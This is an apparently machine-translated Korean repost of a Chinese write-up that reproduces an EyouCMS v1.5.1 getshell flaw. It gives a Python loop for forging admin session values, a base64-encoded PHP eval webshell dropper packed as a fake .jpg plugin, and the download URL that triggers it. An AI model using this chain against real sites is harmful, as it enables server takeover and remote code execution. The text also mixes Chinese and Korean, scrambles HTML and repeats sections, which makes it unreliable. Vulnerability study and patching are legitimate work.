>  기사  >  운영 및 유지보수  >  EyouCMS V1.5.1 프런트엔드 getshell 취약점을 재현하는 방법

EyouCMS V1.5.1 프런트엔드 getshell 취약점을 재현하는 방법

PHPz
PHPz앞으로
2023-05-20 20:14:403352검색

0x00 취약점 소개

Zanzan Network Technology EyouCMS(EyouCMS)는 중국 Zanzan Network Technology Company의 ThinkPHP를 기반으로 하는 오픈 소스 콘텐츠 관리 시스템(CMS)입니다.

Eyoucms v1.5.1 및 이전 버전에는 임의의 사용자 백그라운드 로그인 및 파일 포함 취약점이 있습니다. 이 취약점을 통해 공격자는 API를 호출하여 포그라운드에서 관리자 세션을 설정할 수 있으며 백그라운드 원격 플러그인 다운로드 파일에는 getshell이 ​​포함되어 있습니다.

0x01 영향을 받는 버전

EyouCMS <= 1.5.1EyouCMS <= 1.5.1

0x02 环境搭建

下载
官网下载V1.5.1版本
下载连接:https://qiniu.eyoucms.com/EyouCMS-V1.5.1-UTF8-SP3_142.zip

安装
通过phpstudy集成环境简单部署
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

0x03 漏洞分析

前台设置管理员session在application/api/controller/Ajax.php:215

如何进行EyouCMS V1.5.1 前台getshell漏洞复现

get_token

函数是可以前台随意调用的,另外形参中的

$name

变量也是通过http传递进来的。跟进token函数,如下图所示。
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

高亮处有一个设置session的操作,名字是可控的,而值是请求时间戳md5的值。不可控。
可以尝试通过这个设置session的操作,构造出一个后台管理员的session。然后我们梳理一下后台管理员的登录逻辑。在application/admin/controller/Base.php:54如何进行EyouCMS V1.5.1 前台getshell漏洞复现

这里涉及到了两个session,一个admin_login_expire,一个admin_id

if (session(&#39;?admin_id&#39;) && getTime() - intval($admin_login_expire) < $web_login_expiretime)

admin_login_expire

(该session会做减法的校验,需要满足一定条件)

admin_id

(该session有就即可,不会验证其值)
设置完这两个session后,我们继续看到if条件判断里还有一个

check_priv

函数,跟进查看:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

if (0 >= intval(session('admin_info.role_id')))<p><code>admin_info.role_id</code></p>
<p>0x02 환경 설정<br><br><img src="https://img.php.cn/upload/article/000/000/164/168458488378613.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现">Download</p>버전 V1.5.1을 다운로드할 수 있는 공식 웹사이트<p>다운로드 링크: https:// qiniu.eyoucms.com/EyouCMS-V1.5.1-UTF8-SP3_142.zip<img src="https://img.php.cn/upload/article/000/000/164/168458488330190.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p>설치<p>phpstudy 통합 환경을 통한 간단한 배포<br><img src="https://img.php.cn/upload/article/000/000%20/164%20/168458488237526.jpg" alt="EyouCMS V1.5.1 프런트엔드 getshell 취약점을 재현하는 방법"><br><br><img src="https://img.php.cn/upload/article/000/000/164/168458488375781.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现">0x03 취약점 분석</p>
<p></p>application/api/controller에서 프런트엔드에 관리자 세션을 설정합니다. /Ajax.php:215<h3><strong> <img src="https://img.php.cn/upload/article/000/000/164/168458488279346.jpg" alt="EyouCMS V1.5.1 전면 재현 방법- end getshell 취약점"></strong></h3>
<code>get_token</code><p><br> 함수는 프론트 데스크에서 마음대로 호출할 수 있습니다. 또한 형식의 <br><br><code>$name</code><img src="https://img.php.cn/upload/article/000/000/164/168458488457115.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p> 변수는 매개변수는 http를 통해서도 전달됩니다. 아래 그림과 같이 토큰 기능을 따르십시오. <p><img.php.cn alt="EyouCMS V1.5.1 프런트엔드 getshell 취약점을 재현하는 방법"></img.php.cn><br><img src="https://img.php.cn/upload/article/000/000/164/168458488418027.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"> High 밝은 영역에 세션을 설정하는 연산이 있으며 이름은 제어 가능하며 값은 요청 타임스탬프 md5의 값이다. 통제할 수 없습니다. </p>이 세션 설정 작업을 통해 백그라운드 관리자를 위한 세션 구성을 시도할 수 있습니다. 그런 다음 백그라운드 관리자의 로그인 논리를 정리합니다. application/admin/controller/Base.php:54<img src="https://img.php.cn/upload/article/000/000/164/168458488287383.jpg" alt="EyouCMS V1 진행 방법 .5.1 프런트엔드 getshell 취약점 재발"><p><br>여기에는 admin_login_expire와 admin_id<img src="https://img.php.cn/upload/article/000/000/164/168458488498951.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p>
<pre class="brush:php;toolbar:false">while 1 :
    admin_login_expire = api_psot("admin_login_expire")
    num_10 = admin_login_expire[2:12]
    if is_number(num_10):
        print("admin_login_expire=",num_10)
        break
while 1 :
    role_id = api_psot("admin_info.role_id")
    num_1 = role_id[2:3]
    if num_1 in ["a","b","c","d","e","f"]:
        print("role_id=",num_1)
        break
admin_id = api_psot("admin_id")
print("admin_id=",admin_id[2:-1])

admin_login_expire


라는 두 개의 세션이 포함됩니다. (이 세션은 빼기 확인을 수행하며 특정 조건을 충족해야 합니다.) 如何进行EyouCMS V1.5.1 前台getshell漏洞复现

admin_id


(세션이 충분하므로 값은 검증되지 않습니다)
이 두 세션을 설정한 후 if 조건 판단에서 계속해서 다른 세션을 봅니다check_priv code>

함수, 후속 조치 보기:
EyouCMS V1 진행 방법 .5.1 프론트엔드 getshell 취약점 재발견如何进行EyouCMS V1.5.1 前台getshell漏洞复现

<?php  file_put_contents("./uploads/allimg/news_2021.php",base64_decode("PD9waHAgcGhwaW5mbygpO0BldmFsKCRfUE9TVFttb3Z4XSk7Pz4="));
?>
admin_info.role_id🎜🎜(0 이하이면 충분)🎜3개의 세션을 설정한 후 진입 가능 그림에 표시된 대로 배경: 🎜🎜🎜🎜백그라운드 원격 플러그인 다운로드 getshell은 application/admin/controller/Weapp.php:1235🎜🎜🎜$url이 여기에 전달되고 URL 구문 분석이 이루어집니다. 수행되며 호스트는 eyoucms.com이어야 합니다. 🎜즉, 프로그램은 공식 웹사이트에서 플러그인을 다운로드하고 설치하는 것으로 제한되어 있지만 이 확인은 너무 간단하여 우회할 수 있습니다. 🎜다음 단계는 다운로드 링크를 요청하고 압축을 풀고 config.php를 포함하는 것입니다. 🎜🎜🎜🎜나중에 만들어진 플러그인 표준 판단은 더 이상 작동하지 않습니다. 🎜🎜🎜0x04 취약점 악용🎜🎜🎜프런트 데스크에서 관리자 세션을 설정합니다🎜먼저 로그인 성공 후 관리자 세션을 꺼내어 로그인하지 않은 일반 사용자 세션과 비교할 수 있습니다.🎜관리자:🎜🎜🎜🎜일반 user:🎜 🎜🎜🎜get_token 함수를 호출하여 admin_login_expire🎜🎜🎜🎜라는 세션을 설정한 다음 일반 사용자의 세션🎜🎜🎜🎜이 성공적으로 설정되었는지 확인하세요. 🎜마찬가지로 admin_id와 admin_info.roke_id를 추가할 수 있습니다. 🎜🎜그러나🎜이 md5 문자열은 분명히 취약점 분석의 요구 사항을 충족하지 않으므로 적절한 md5 값을 찾을 때까지 스크립트를 통해 세션이 지속적으로 새로 고쳐집니다.🎜rrreee🎜실행 결과:🎜🎜🎜

session:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

再经过application/admin/controller/Base.php:58和:106的intval()的转换:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

成功使用该PHPSESSID进入后台:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

后台远程插件下载文件包含getshell
然后开始制作恶意压缩包,文件目录结构如下:

weappp\weapp\test\config.phpconfig.php

文件内容为写入webshell

<?php  file_put_contents("./uploads/allimg/news_2021.php",base64_decode("PD9waHAgcGhwaW5mbygpO0BldmFsKCRfUE9TVFttb3Z4XSk7Pz4="));
?>

压缩成weappp.zip,修改后缀为jpg
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

到eyoucms.com官网寻找图片上传点
比如这个提问模块的问题描述:
https://www.eyoucms.com/ask/
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

获取到上传的图片地址:
https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg
直接在浏览器中请求下载该插件:
http://192.168.58.180/login.php?m=admin&c=weapp&a=downloadInstall&url=https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

此时webshell已成功写入:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

访问webshell:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

0x05 修复建议

升级EyouCMS至V1.5.2或以后版本。

위 내용은 EyouCMS V1.5.1 프런트엔드 getshell 취약점을 재현하는 방법의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
이 기사는 yisu.com에서 복제됩니다. 침해가 있는 경우 admin@php.cn으로 문의하시기 바랍니다. 삭제